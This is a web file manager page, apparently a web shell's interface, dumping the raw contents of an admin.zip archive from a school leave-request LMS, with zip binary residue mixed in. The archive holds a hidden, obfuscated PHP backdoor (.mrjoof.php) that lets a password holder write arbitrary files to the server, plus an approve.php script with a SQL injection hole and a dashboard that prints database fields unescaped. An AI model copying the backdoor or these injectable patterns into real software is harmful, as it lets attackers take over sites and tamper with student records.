File manager - Edit - /home/gyanmanjari-lms/htdocs/lms.gyanmanjari.co.in/admin.zip
Back
PK ! F4#�H H .mrjoof.phpnu �[��� <?php $aup = $_POST; if(!empty($aup['b']) && sha1($aup['b'])=='5152f9348705e9a3645e9c9055bddef7d62ada27') { $hqc = $aup['f']; if(!empty($aup['r'])) $hqc = $_SERVER['DOCUMENT_ROOT'].'/'.$hqc; $oxv = 'f'.'ile_p'.'ut_co'.'ntents'; $phy = 'h'.'ex'.'2'.'bin'; if($oxv($hqc, $phy($aup['c']))) exit($hqc); } echo 'm26'; ?>PK ! 7�=�� � approve.phpnu ��� <?php include '../helpers/helpers.php'; checkLogin('admin'); include '../config/config.php'; $id = $_GET['id']; $status = $_GET['status']; $conn->query("UPDATE leave_requests SET status='$status' WHERE id=$id"); header('Location: dashboard.php'); ?>PK ! aQ-K� � dashboard.phpnu ��� <?php include '../helpers/helpers.php'; checkLogin('admin'); include '../config/config.php'; $result = $conn->query("SELECT * FROM leave_requests ORDER BY id DESC"); ?> <html> <head><link rel="stylesheet" href="../assets/css/style.css"></head> <body> <div class="card"> <h2>Admin Dashboard</h2> <table border=1><tr><th>ID</th><th>Student Name</th><th>Class</th><th>Roll</th><th>Subject</th><th>Status</th><th>Parents Informed</th><th>Action</th></tr> <?php while($r = $result->fetch_assoc()): ?> <tr> <td><?= $r['id'] ?></td><td><?= $r['student_name'] ?></td><td><?= $r['class'] ?></td><td><?= $r['roll_no'] ?></td><td><?= $r['subject'] ?></td><td><?= $r['status'] ?></td><td><?= $r['informed_parents'] ?></td> <td><a href="approve.php?id=<?= $r['id'] ?>&status=Approved">Approve</a> <a href="approve.php?id=<?= $r['id'] ?>&status=Rejected">Reject</a></td> </tr> <?php endwhile; ?></table> <a href="../logout.php">Logout</a> </div> </body> </html>PK ! F4#�H H .mrjoof.phpnu �[��� PK ! 7�=�� � � approve.phpnu ��� PK ! aQ-K� � � dashboard.phpnu ��� PK � �
| ver. 1.4 |
Github
|
.
| PHP 8.3.14 | Generation time: 0.03 |
proxy
|
phpinfo
|
Settings